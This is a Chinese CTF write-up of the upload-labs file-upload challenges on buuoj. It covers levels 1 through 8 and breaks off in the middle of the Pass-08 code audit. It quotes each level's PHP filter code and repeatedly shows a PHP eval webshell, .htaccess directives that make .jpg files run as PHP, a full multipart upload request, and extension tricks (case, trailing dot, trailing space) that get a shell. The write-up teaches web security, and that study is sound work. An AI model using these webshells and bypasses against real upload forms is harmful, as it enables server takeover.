web-buuoj-(Upload-Labs-Linux)-文件上传


靶场简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。

buuoj upload-labs靶场(目前20关)链接:https://buuoj.cn/challenges#Upload-Labs-Linux ,靶场其实是一个部署在Linux环境中的Upload-Labs(玩过文件上传的应该都接触过这个靶场)。

项目原始链接:https://github.com/c0ny1/upload-labs ,buuoj的靶场有些关卡有问题,最好还是自己搭建一下环境,另外需要注意的是有些关卡对操作系统类型(windows/linux)和PHP的版本是有限制的。

一、Pass-01(前端检测后缀名)

1.1 题面

1.2 解题

直接上传yjh.php

<?php @eval($_POST['sxk'])?>

yakit开启劫持,点击上传,发现有弹窗提示只能上传jpg、png、gif等类型的文件,并且yakit没有抓到包。说明请求在前端就被拦截了,都没到yakit那里,所以推测前端有相关的防护措施,需要先进行绕过。查看前端的源代码,发现有检测文件后缀的逻辑,确实是在前端做了限制:

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

直接将文件的后缀名.php后缀为.jpg,尝试绕过前端并开启拦截。这次能拦截到请求包了:

前端限制已被绕过。在这里将.jpg后缀改成.php后缀,因为只有这样我们的webshell才会被服务端解析执行。

filename="yjh.php"

修改之后发送请求,发现上传成功了。

说明后端没有做上传文件的安全检测,并且从响应中也能找到上传成功的文件路径../upload/yjh.php,当前路径是/Pass-01/index.php,那么上传的路径应该是/upload/yjh.php

那么接下来可以尝试连接一下webshell。

成功getshell,并在根目录下拿到flag。

flag{6ee48577-f975-4280-9243-f91c87cadf98}

1.3 代码审计

看一下本关的源代码:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

源代码表明,本关仅仅在前端用js做了一下后缀名的检测,所以只要借助代理工具这种检测是非常容易绕过的;此外除了接住代理工具,直接修改前端的js代码也是可以的,前端js在客户端的浏览器运行,是完全可以由攻击者进行控制的。

所以,这种在前端做的文件安全性检测是最容易被攻破的,基本上不存在安全性可言。

二、Pass-02(后端检测MIME)

2.1 题面

2.2 解题

  • 直接上传yjh.php,提示文件类型不正确。
  • 抓包
  • 尝试修改Content-Type绕过

Content-Type知多少

Content-Type 是一个 HTTP 头部字段,用于指示资源的媒体类型(MIME 类型)。以下是一些常见的 Content-Type 类型:

文本类型

  • text/plain:纯文本格式,如文本文件、日志文件等。它不包含任何格式化信息,只包含字符数据。
  • text/html:HTML 文档,用于网页的结构和内容描述。浏览器会解析 HTML 代码来渲染网页的布局、文本、图片等元素。
  • text/css:CSS 样式表,用于定义 HTML 文档的样式,如字体、颜色、布局等。它可以使网页具有美观的视觉效果。
  • text/javascript:JavaScript 脚本,用于实现网页的交互功能,如响应用户操作、动态更新内容等。不过在现代开发中,更推荐使用 application/javascript

图像类型

  • image/jpeg:JPEG 图像格式,是一种常用的有损压缩图像格式,适用于彩色照片等图像,能够在保持一定图像质量的情况下减小文件大小。
  • image/png:PNG 图像格式,是一种无损压缩的位图图像格式,支持透明度,适用于图标、徽标等需要透明背景的图像。
  • image/gif:GIF 图像格式,支持动画和透明度,常用于简单的动画效果,如加载动画、表情图标等。不过它的颜色深度有限,最多只能支持 256 种颜色。
  • image/svg+xml:SVG 图像格式,是一种基于 XML 的矢量图像格式,图像可以无限放大而不失真,适用于图标、图表等需要高分辨率和可缩放的图像。

应用程序类型

  • application/json:JSON 数据格式,是一种轻量级的数据交换格式,易于阅读和编写,也易于机器解析和生成,广泛应用于 Web 开发中的数据传输,如 AJAX 请求的响应数据、API 接口的返回数据等。
  • application/xml:XML 数据格式,是一种可扩展的标记语言,用于数据的存储和传输,具有良好的结构性和可扩展性,常用于配置文件、数据交换等场景。
  • application/pdf:PDF 文件格式,是一种广泛使用的文档格式,可以包含文本、图像、表格、超链接等多种元素,具有较好的兼容性和可打印性,适用于电子文档的展示、分享和打印。
  • application/zip:ZIP 压缩文件格式,用于将多个文件或文件夹压缩成一个文件,便于存储和传输,可以有效减小文件体积,节省存储空间和传输时间。

果然,上传成功。

getshell

Flag:

flag{a44d95b2-084c-4996-9510-5c0b8704e067}

2.3 代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

分析:

当表单提交时,首先检查上传路径是否存在。若存在,再判断上传文件类型是否为 JPEG、PNG 或 GIF 图像。若是,将临时文件移动到指定路径,上传成功则 $is_upload 设为 true,否则 $msg 显示“上传出错!”。若文件类型不符,显示“文件类型不正确,请重新上传!”。

若上传路径不存在,提示手工创建该路径。

归根结底是判断MIME类型,但是这个类型是客户端可控的,可以随意修改,这样以来后端的检测限制可以被轻松绕过,检测失去了意义。

三、Pass-03(后端后缀名黑名单检测)

3.1 题面

还是上传webshell。

3.2 解题

直接上传yjh.php

<?php @eval($_POST['sxk'])?>
  • 尝试修改MIME类型,还是上传失败。

判断可能是在后端用了后缀名黑名单。

  • 尝试大小写绕过失败。
截屏2025-01-17 17.19.28
  • 尝试使用特殊后缀绕过

使用php5后缀,访问发现没有被解析执行。

  • 在文件名后面添加空格绕过失败
添加空格绕过失败

使用phtml时貌似被解析执行了。

蚁剑getshell:

Flag:

flag{a3820578-6bcc-4b5c-afe9-b5ba026aa81c}

3.3 代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  • 文件夹存在性检查:首先判断UPLOAD_PATH指定的文件夹是否存在,若不存在则提示手工创建。
  • 黑名单定义:定义了一个$deny_ext数组,包含禁止上传的文件后缀.asp.aspx.php.jsp
  • 文件名处理:获取上传文件的名称,并通过deldot函数删除文件名末尾的点,然后通过strrchr函数获取文件扩展名,并转换为小写,去除字符串::$DATA,最后收尾去空。
  • 后缀名检查:判断处理后的文件扩展名是否在黑名单数组中,若不在则执行文件上传操作,将临时文件移动到指定路径;若在黑名单中则提示不允许上传该后缀文件。

四、Pass-04(后端后缀名黑名单检测-.htaccess解析绕过)

4.1 题面

和之前一样。

4.2 解题

  • 直接上传yjh.php

提示,此文件不允许上传。

  • 修改 Content-Type: image/jpeg 尝试绕过失败。
  • +后缀名改成.phtml,绕过失败
  • 直接改成jpg

这意味这放弃了通过直接上传脚本让服务端解析执行,后续可能需要结合文件包含漏洞利用。

成功上传了,说明并没有检测文件内容(通常是检测文件头)。

  • 尝试上传.htaccess文件覆盖服务端配置,使其将jpg文件当作php脚本解析。

要通过.htaccess文件将.jpg文件当作PHP脚本解析,可以使用以下几种配置方法:

方法一:使用AddType指令

这是最直接的方法,通过AddType指令将.jpg文件的MIME类型设置为PHP脚本的类型,从而让Apache服务器将其当作PHP文件解析。

apache复制

AddType application/x-httpd-php .jpg

将上述代码添加到.htaccess文件中,上传的.jpg文件就会被当作PHP文件执行。

方法二:使用<FilesMatch>指令

这种方法可以更精确地控制哪些文件被当作PHP脚本解析,同时还可以添加一些额外的安全措施或配置。

apache复制

<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

这段代码使用<FilesMatch>指令匹配以.jpg结尾的文件,并通过SetHandler指令将这些文件的处理方式设置为PHP脚本的处理方式。

方法三:使用AddHandler指令

AddHandler指令也可以用来将特定文件后缀的文件与特定的处理器关联起来,从而实现文件解析的重写。

apache复制

AddHandler application/x-httpd-php .jpg

这行代码的作用与AddType指令类似,但AddHandler在某些配置环境下可能更加灵活。

  1. 服务器配置:确保服务器的配置允许.htaccess文件中的这些指令生效。有些服务器可能出于安全考虑禁用了.htaccess文件的某些功能。
  2. 权限问题:确保你有权限上传并修改.htaccess文件,以及服务器的配置允许.htaccess文件覆盖主配置文件中的设置。

为了查看方便(mac上默认不显示.开头的隐藏文件,懒的配置了)写入了htaccess文件,上传的时候改一下文件名就可以。

再次访问上传的图片,发现没有加载图片失败的情况,判断时.htaccess文件生效了。

蚁剑getshell

截屏2025-01-17 18.08.58

成功获取到flag:

flag{f58c7bc4-bf87-40e7-8949-9b8608560e74}

4.3 代码审计

黑名单ban掉了非常多的后缀,想寻找一个没被ban掉的挺难的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

检测的逻辑跟Pass-03一样,就是ban掉的后缀太多了,想找到一个能用的比较难。那就不找了,就上传文件名合法的文件,然后通过覆盖配置文件,指定服务器将合法文件名(如.jpg)当作php文件解析,实现曲线救国。
本来以为这一关会是单检测文件内容,但其实这种更好绕过,构造合法魔术头就行了,再难一点的其实是MIME+大黑名单后缀+内容检测。说白了如果检测手段多管齐下,想绕过肯定会更难。

五、Pass-05(后端后缀名检测-大写绕过)

5.1 题面

同前面的关卡。

5.2 解题

上传yjh.php

<?php eval($_POST['sxkk']);?>				

抓包分析:

image-20250120204729379

  • 将.php修改为.jpg,成功上传=>没有检测文件头。

  • +修改content-type为text/php,成功上传=>没有检测MIME类型

  • 尝试修改后缀绕过: .PHP 成功上传

image-20250120205120238

尝试访问:

image-20250120205238780

貌似已经被解析执行?尝试蚁剑连接:

image-20250120205456323

getshell:

image-20250120205534174

flag:

flag{31c446e4-0d77-4f1f-aa3b-2476fc72ce8c}

5.3 代码审计

看下这一关的提示:

image-20250120205627602

ban掉的后缀比较多,.htaccess文件都被ban掉了,但是巧了,我尝试的.PHP后缀正好在黑名单之外。

同理,尝试一下PHTML后缀看下能不能绕过:

image-20250120205923516

可以看到成功上传了,并且也能够getshell。

image-20250120210026903

所以这关还是考察黑名单绕过。如此看来,Pass-04是否也可以通过.PHP 或 .PHTML后缀绕过?

看下源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

strrchr() 是 PHP 中的一个字符串函数,用于查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串末尾的所有内容。如果未找到指定的字符或字符串,则返回 false

str_ireplace() 是 PHP 中的一个字符串替换函数,用于将字符串中的某些内容替换为其他内容。与 str_replace() 不同,str_ireplace() 是大小写不敏感的,即它会忽略大小写差异进行替换。

str_ireplace('::$DATA', '', $file_ext)

这段代码的作用是:

  • 在变量 $file_ext 中查找字符串 '::$DATA'(大小写不敏感)。
  • 将找到的 '::$DATA' 替换为空字符串 ''
  • 返回替换后的结果。

仔细分析代码,需要注意的是Pass04中使用了$file_ext = strtolower($file_ext);将后缀转化为了小写(而本关Pass-05并没有做大小写转换),所以.PHP也无法绕过Pass04的黑名单,如下图所示:

image-20250120211015206

这么看来Pass-05要比Pass-04简单。

按照解题思路来讲,应该先尝试使用冷门后缀绕过黑名单,绕不过再使用.htaccess文件覆盖配置解析jpg文件,Pass05应该在Pass04之前才能有种循序渐进的味道。

六、Pass-06*(后缀名尾部空格绕过(windows))

6.1 题面

跟前面几关一样。

6.2 解题

上传yjh.php

<?php @eval($_POST['sxk'])?>

抓包:

  • 仅改后缀名.jpg上传成功=>没有检查文件头。
  • 同时content-type是text/php 上传成功=>没有检测MIME类型
  • 尝试改后缀名绕过:

.PHP .PHTML❌

.htaccess也ban了,并且大小写绕过失败。貌似没办法使用覆盖配置文件将jpg按照php解析的方法了。

  • 尝试一些嵌套的文件名

.PHPphp3 能上传,并且可以看到后端将后缀都转化为小写了。

但是并不能被执行。

到目前这个状态我想还剩两个思路:1)想办法把jpg解析成php。 2)想办法绕过后缀名的检测。

  • 有没可能存在什么解析漏洞能被利用呢?

使用fscan扫一下:

没什么有价值的结果。

  • 看下提示(第一次看提示)

并没有禁止.htaccess文件呀。

  • 看下源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码里面其实.htaccess被禁了的,这提示也太不厚道了。

  • URL编码后缀名绕过尝试(失败)

尝试将.php进行URL编码上传成功了。但是访问的时候浏览器会自动解码访问失败。

截屏2025-01-22 16.47.37

尝试再加一层URL编码访问:

可以看到还是被当作文本内容输出了,并没有被解析执行。

  • 文件名最后添加::$DATA绕过尝试(失败)

::$DATA其实是windows特性,并且在代码中会被替换为空。

$_FILES:

在PHP中,$_FILES是一个超全局变量,用于存储文件上传相关的数据。当你通过HTML表单上传文件时,PHP会自动将上传的文件信息存储到$_FILES数组中。$_FILES['upload_file']['tmp_name']是这个数组中的一个重要部分,它表示上传文件在服务器上的临时存储路径。

以下是对$_FILES['upload_file']['tmp_name']的详细解释:

  1. $_FILES数组的结构

当用户通过表单上传文件时,$_FILES数组会包含以下键值对(以<input type="file" name="upload_file">为例):

$_FILES['upload_file'] = [
    'name'     => '文件的原始名称', // 用户上传的文件名
    'type'     => '文件的MIME类型', // 文件的MIME类型(如image/jpeg)
    'size'     => '文件的大小',     // 文件的大小(以字节为单位)
    'tmp_name' => '临时文件路径',   // 文件在服务器上的临时存储路径
    'error'    => '错误代码'        // 文件上传过程中可能发生的错误代码
];
  1. tmp_name的作用
  • 临时存储路径$_FILES['upload_file']['tmp_name']是一个字符串,表示上传文件在服务器上的临时存储路径。
  • 文件上传机制:当文件被上传到服务器时,PHP会自动将文件存储到一个临时目录中(通常是/tmp目录或由php.ini配置的upload_tmp_dir路径)。这个临时文件的路径就是tmp_name的值。
  • 生命周期:临时文件在脚本执行完成后会被自动删除,除非你将其移动到其他位置(如使用move_uploaded_file()函数)。
  1. 为什么需要tmp_name
  • 安全性和隔离性:上传的文件首先被存储在临时目录中,而不是直接存储在目标目录中。这可以防止恶意文件在未经过验证之前直接被访问。
  • 处理上传文件tmp_name提供了文件在服务器上的实际路径,你可以通过它读取文件内容、验证文件类型或将其移动到最终存储位置。
  1. 如何正确使用tmp_name

在处理文件上传时,tmp_name通常与move_uploaded_file()函数一起使用,将文件从临时目录移动到目标目录。例如:

if ($_FILES['upload_file']['error'] == UPLOAD_ERR_OK) { // 检查是否有上传错误
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取临时文件路径
    $destination = 'uploads/' . basename($_FILES['upload_file']['name']); // 目标路径

    if (move_uploaded_file($temp_file, $destination)) {
        echo "文件上传成功!";
    } else {
        echo "文件移动失败!";
    }
} else {
    echo "文件上传失败,错误代码:" . $_FILES['upload_file']['error'];
}
  • 后缀名添加空格尝试绕过

分析代码,处理后缀时最后没有用trim函数去除后缀名两边空格,如: $file_ext = trim($file_ext); //首尾去空。

trim() 是 PHP 中一个非常常用的字符串处理函数,用于删除字符串首尾的空白字符或其他指定字符。

.php空格

无法解析执行。

不加%20访问时404.

可以看到在后缀名中添加空格能够绕过后缀名的检查。但是如何让服务器解析执行呢?

6.3 关卡特性分析

注:这题的话靶机必须是windows的,在linux上面无效。

其实这一题在Linux上是无法实现的,因为xxx.php空格虽然能绕过后缀名的检测,但是存储在linux服务器上时并不会像windows一样删除空格(即存储为xxx.php)。所以要想访问只能+%20的空格url编码,但是想要被解析的话又不能添加空格的url编码,所以在linux上是无法绕过的。说白了在linux上上传的是xxx.php空格,那么保存的就是xxx.php空格,加空格虽然能绕过后缀名检测,但是无法被解析执行,服务器上不存在xxx.php的文件。在windows上的话既能绕过后缀名检测,又能在服务端保存时删掉空格,被当作正常的php文件进行解析,能被完美利用。

通过其他关卡上传webshell查看后台对Pass-06存储的文件的保存情况:

通过Pass05上传webshell 通过Pass05上传的webshell Pass-06通过在末尾添加空格绕过后缀名检测

可以看到通过.php后加空格的方式上传的文件,在linux中会有一个\空格,要想查看必须加\空格,服务器上不存在.php文件,仅存在.php空格文件。所以也就无法绕过检测。

ls -b:

ls -b 是 Linux 中 ls 命令的一个选项,用于在文件名中显示非打印字符(如空格、制表符、换行符等)的反斜杠转义形式。这可以帮助用户更清晰地查看文件名中包含的特殊字符,尤其是那些在终端中难以直接显示的字符。

6.4 在windwos靶场实现利用

重新开启一个windows靶场环境。对应的是Pass-07。

通过添加空格绕过后缀名检测:

访问测试:

环境貌似有点问题,正常情况下可以getshell。

七、Pass-07(后端后缀名检测-尾部.绕过 )

7.1 题面

题面还是老样子。

image-20250122200912089

7.2 解题

老规矩,先上传yjh.php

<?php eval($_POST['sxkk']);?>	

抓包:

image-20250122201232711

  • 后缀改成.jpg能上传成功=>没有检测文件头

image-20250122201320059

  • conten-type:text/php 也能上传成功=>没有检测MIME类型

image-20250122201450389

这一关多半还是在后端检测的文件后缀。

并且可以注意到,没有对我们上传的文件进行重命名。

  • 看下有没有做大写转小写

image-20250122201702972

看来没有做小写转换。那么可以尝试改变一下大小写绕过后缀名检测。

  • 顺着思路往下,试试.PHP后缀。

image-20250122201836279

.PHP 被ban了。

同理再尝试几个:.PHp .PHTml .Php3 .HTM .HTm .HTaCCess .HTaccess均告失败。

.htaccess也被ban了,黑名单有点强了。

image-20250122202207526

  • 看下提示

image-20250122202319954

挺狠的嘛。

  • 看下源代码咋实现的
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析一下源代码:

黑名单确实够全的,其实检测后缀名时也转化为了小写( $file_ext = strtolower($file_ext); //转换为小写),只是没有进行重命名。反思一下之前欠考虑的地方:其实不能通过下面的现象就判断没有做大小写转换,这只能说明在上传到服务器中的时候文件名没做大小写转换,但是后缀名检测的逻辑完全可以先将后缀名统一转换成小写再比对,这样效率会比较高。

image-20250122202731584

核心逻辑:1)构建了一个黑名单。2)获取文件名。3)strrchr($file_name, ‘.’);获取最后一个.及后面的内容作为后缀名。。。

看到这里下面也不用看了。strrchr() 是 PHP 中的一个字符串函数,用于查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串末尾的所有内容。如果未找到指定的字符或字符串,则返回 false

如果构造yjh.php.,那么$file_ext获取的就是一个”.”,当然就不在黑名单中,yjh.php.就会上传成功。

image-20250122203509925

可以看到果真上传成功了,但是能不能访问呢,测试一下:

image-20250122203559763

貌似已经被解析执行了。

使用蚁剑,成功getshell。

image-20250122203714931

flag:

image-20250122203749848

flag{524dcdc6-c03c-4805-af66-b274a2bf92c5}

八、Pass-08 (后端后缀名检测-尾部::$DATA绕过(windwos))

8.1 题面

这一关也是老样子。

8.2 解题

上传yjh.php然后抓包。

截屏2025-01-23 10.28.38

request数据分析(多部分表单数据-multipart/form-data)

POST /Pass-08/index.php HTTP/1.1
Host: aac64ca3-95bb-44ac-b5b8-600a34d4a31c.node5.buuoj.cn:81
Cache-Control: max-age=0
Origin: http://aac64ca3-95bb-44ac-b5b8-600a34d4a31c.node5.buuoj.cn:81
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGzBzcdHfXwbmj0tf
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: http://aac64ca3-95bb-44ac-b5b8-600a34d4a31c.node5.buuoj.cn:81/Pass-08/index.php
Content-Length: 313

------WebKitFormBoundaryGzBzcdHfXwbmj0tf
Content-Disposition: form-data; name="upload_file"; filename="yjh.php"
Content-Type: text/php

<?php @eval($_POST['sxk'])?>
------WebKitFormBoundaryGzBzcdHfXwbmj0tf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryGzBzcdHfXwbmj0tf--

这里的------WebKitFormBoundaryGzBzcdHfXwbmj0tf 的作用?

先来看请求头中的Content-Type

在请求头中有:Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryGzBzcdHfXwbmj0tf 头,

指定了请求体的数据为多部分表单数据

  • 指示请求体的格式。这里是multipart/form-data,表示请求体包含多个部分(字段),每个部分由boundary分隔符分隔。
  • boundary=----WebKitFormBoundaryGzBzcdHfXwbmj0tf:指定分隔符。
请求体

请求体是multipart/form-data格式,包含多个部分(字段)。每个部分由boundary分隔符分隔。

  • 第一个字段:上传的文件
------WebKitFormBoundaryGzBzcdHfXwbmj0tf
Content-Disposition: form-data; name="upload_file"; filename="yjh.php"
Content-Type: text/php

<?php @eval($_POST['sxk'])?>
  • **------WebKitFormBoundaryGzBzcdHfXwbmj0tf**:字段的开始标记。
  • **Content-Disposition**:
    • name="upload_file":字段的名称,对应HTML表单中的<input name="upload_file">
    • filename="yjh.php":上传文件的文件名。
  • **Content-Type**:指定文件的MIME类型,这里是text/php
  • 文件内容<?php @eval($_POST['sxk'])?>,这是一个PHP代码,可能是用于测试的WebShell。
  • 第二个字段:提交按钮
------WebKitFormBoundaryGzBzcdHfXwbmj0tf
Content-Disposition: form-data; name="submit"

上传
  • **------WebKitFormBoundaryGzBzcdHfXwbmj0tf**:字段的开始标记。
  • **Content-Disposition**:
    • name="submit":字段的名称,对应HTML表单中的提交按钮。
  • 字段内容上传,表示提交按钮的值。
结束标记
------WebKitFormBoundaryGzBzcdHfXwbmj0tf--
  • 表示请求体的结束。
Content-Disposition字段

Content-Disposition 是 HTTP 协议中的一个头部字段,通常用于描述消息体(如文件或表单数据)的性质和内容。它在文件上传和下载场景中非常常见,尤其是在处理 multipart/form-data 格式的请求时。

1. Content-Disposition 的作用

Content-Disposition 的主要作用是:

  • 指定消息体的类型(如文件、表单数据等)。
  • 提供关于消息体的附加信息,例如文件名、字段名称等。

2. 常见的 Content-Disposition 用法

在 HTTP 请求和响应中,Content-Disposition 通常用于以下两种场景:

(1) 文件下载

在 HTTP 响应中,Content-Disposition 可以指示浏览器如何处理响应内容(是直接显示还是下载文件),并提供文件名等信息。例如:

Content-Disposition: attachment; filename="example.txt"
  • **attachment**:指示浏览器将响应内容作为文件下载。
  • **filename="example.txt"**:指定下载文件的文件名。

(2) 文件上传

在 HTTP 请求中,Content-Disposition 用于描述 multipart/form-data 格式中的每个部分(字段)。例如:

Content-Disposition: form-data; name="upload_file"; filename="example.txt"
  • **form-data**:表示这是一个表单字段。
  • **name="upload_file"**:字段的名称,对应 HTML 表单中的 <input name="upload_file">
  • **filename="example.txt"**:上传文件的文件名(可选,仅在上传文件时使用)。

啰嗦了这么多,主要是为了对request请求数据有更加全面和深刻的认识。

  • 判断检测方法

改成.jpg后缀上传成功了=>没有检测文件头&&没有检测MIME类型。

判断也是后端检测后缀名,而且应该在实现检测逻辑的时候做了小写转换。

  • 空格和”.”绕过失败

尝试一下在尾部添加空格和.能否绕过:

可以看到绕过失败了。

  • .htaccess文件无法上传
  • 查看提示

黑名单挺全。

  • 代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
